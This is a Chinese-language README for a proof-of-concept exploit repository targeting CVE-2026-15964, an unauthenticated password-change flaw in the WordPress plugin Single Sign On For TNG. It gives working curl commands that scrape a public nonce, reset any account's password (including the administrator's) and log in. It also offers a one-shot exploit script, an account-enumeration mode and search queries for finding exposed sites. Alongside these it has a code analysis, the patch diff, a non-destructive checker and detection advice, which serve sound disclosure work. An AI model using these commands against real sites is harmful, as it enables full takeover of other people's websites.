CVE-2026-15964 的 PoC 与检查器 - WordPress 插件 Single Sign On For TNG <= 2.0.0 中的未认证密码更改(CVSS 9.8)
通过未经验证的密码更改实现未认证的权限提升 存在于 WordPress 插件 Single Sign On For TNG 中。
| 严重程度 | 严重(9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620(未经验证的密码更改) |
| 受影响版本 | 插件版本 1.0.0 至 2.0.0 |
| 修复版本 | 2.1.0(发布于 2026-07-27) |
| 发布时间 | 2026-08-01 |
| 所需认证 | 无(wp_ajax_nopriv_ssoprocess_ajax) |
| 影响 | 可更改任意 WordPress 账户(包括管理员)的密码——完全接管网站 |
| 插件 | https://wordpress.org/plugins/single-sign-on-for-tng/ |
任何未认证的访客都可以更改运行 2.0.0 或更早版本插件的网站上任意账户的密码。只需两个 HTTP 请求:
SSOPWDREQUIREMENT JavaScript 对象中复制 nonce。admin-ajax.php,附带 operation=setnewpassword、受害者邮箱和新密码。剩下的工作由 WordPress 核心的 reset_password() 完成。无需令牌、无需邮件确认链接、无需权限检查。之后即可作为管理员登录。
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
在 single-sign-on-for-tng.php(v2.0.0)中:
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* 意味着该处理程序在完全没有会话的情况下也可访问。
load_scripts() 挂钩到 wp_enqueue_scripts,因此插件会在每个前端页面的 HTML 中输出以下内容:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
渲染结果如下:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
处理程序的验证方式如下:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
关键点在于:WordPress 使用 wp_create_nonce($action) 计算 nonce,其中使用 uid 和会话令牌。对于未登录的访客,这两个值分别是 0 和空字符串,这意味着每个匿名访客获得的 nonce 完全相同。它每 12 小时才重新生成一次(即 nonce tick)。因此插件为任何访客输出的 nonce 对攻击者同样有效——这里没有需要窃取的秘密,它就公开在页面本身。
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() 是 WordPress 核心函数。它会设置新的密码哈希、将受害者从所有其他会话中注销,并触发 password_reset / after_password_reset 动作。此处调用它时,没有任何东西能证明调用者是账户所有者。
还有两个值得了解的额外要点:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 规则仅在 Forminator 表单的 validate_form() 中强制执行,此处从不检查。任何密码都会被接受。{"success":true} 与 {"success":false} 可以告诉你某个邮箱是否已注册。检查器的 --enum-only 模式正是利用这一点。operation=set_tzoffset 会在未认证的情况下调用 update_option('localtzoffset', $post['timezoneoffset'])。虽然不能直接利用实现 RCE,但这是一次未认证的选项写入,值得在分析报告中提及。对比 2.0.0 与 2.1.0,修复之处显而易见(同时也证实了该漏洞):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
此外,在 newpasswordform() 中:
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
因此在 2.1.0 中,流程变为:真正的恢复请求会在用户元数据中存储每个用户独立的 custom_recovery_token 和 custom_recovery_nonce,恢复链接携带用户 ID,表单对两者都进行验证,并且一旦恢复窗口(timeout)过期,AJAX 处理程序将拒绝执行。无法提供有效恢复记录的攻击者再也无法驱动 setnewpassword。
第 1 步 - 抓取 nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
第 2 步 - 更改密码
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
在存在漏洞的安装上,预期响应为:{"success":true}
第 3 步 - 登录
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.py单站点利用工具。包含非破坏性模式。
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.py用于扫描你自己站点列表的批量扫描器。设计上即为非破坏性——它永远不会更改密码。
它对每个站点的分类方式:
SSOPWDREQUIREMENT 对象或 /wp-content/plugins/single-sign-on-for-tng/ 资源路径。readme.txt 中的 Stable tag: 行。<= 2.0.0 存在漏洞,>= 2.1.0 已修复。根据 CVE,这是权威依据。--probe,仅在无法读取版本时使用)- 使用不存在的邮箱提交 operation=setnewpassword。2.0.0 安装会返回 {"success":false} 且不带任何错误信息;2.1.0 安装会返回“time to submit the new password expired”消息。绝不会向真实邮箱发送请求——因为发送的话实际上会重置密码。# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
示例输出:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
判定结果:VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR。UNKNOWN 通常意味着存在 WAF、激进的 CDN 缓存或屏蔽 readme 的站点——请手动检查这些站点。
tests/mock_server.py 模拟六种情况(按版本判定为易受攻击、按版本判定为已修复、按探测判定为易受攻击、按探测判定为已修复、未安装插件的 WordPress、非 WordPress)。检查器的逻辑正是这样在指向任何真实目标之前得到验证的:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt 会为你安装唯一的依赖(requests)。
坦率的背景说明,因为它会影响你如何使用本工具。
inurl:"single-sign-on-for-tng"、在索引完整页面源码的搜索引擎(PublicWWW、Censys、FOFA)中搜索 "SSOPWDREQUIREMENT",以及 TNG 社区本身(tngsitebuilding.com、家谱论坛)。UNKNOWN 分组会相对较大——许多网站运行在激进的缓存之后,或屏蔽了 readme.txt。不要把这理解为“不存在漏洞”;请手动核实。action=ssoprocess_ajax 并非来自已认证会话的 admin-ajax.php POST 请求;对来自匿名来源的 setnewpassword 发出告警。wp_users.user_pass 哈希的变化以及 password_reset / after_password_reset 动作;留意密码更改后立即出现的管理员登录。ssoajaxnonce 视为公开信息——它从来都是。本仓库仅用于经授权的安全测试和教育目的。请对自己的行为负责。不要针对你不拥有或未经明确书面许可的系统运行这些工具。在大多数司法管辖区,未经授权访问计算机系统属于犯罪行为。